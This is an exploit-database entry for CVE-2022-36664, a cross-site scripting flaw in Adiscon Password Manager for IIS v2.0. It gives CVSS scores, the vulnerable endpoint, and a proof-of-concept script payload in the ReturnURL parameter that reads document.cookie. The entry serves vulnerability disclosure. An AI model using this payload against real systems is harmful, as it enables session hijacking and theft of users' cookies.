Password Manager for IIS v2.0 - XSS

2023-03-2500:00:00

VP4TR10T

www.exploit-db.com

xss vulnerability

password manager

iis v2.0

returnurl parameter

adiscon

cve-2022-36664

windows

http post request

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

47.3%

JSON

# Exploit Title: Password Manager for IIS v2.0 - XSS
# Exploit Author: VP4TR10T
# Vendor Homepage: http://passwordmanager.adiscon.com/en/manual/
# Software Link: http://passwordmanager.adiscon.com/
<http://passwordmanager.adiscon.com/>
# Version: *Version 2.0
# Tested on: WINDOWS
# CVE : CVE-2022-36664


Affected URI (when changing user password):
POST /isapi/PasswordManager.dll HTTP/1.1

Affected Parameter in http
payload:*ReturnURL*=<script>alert(document.cookie)</script>

*Cordially,*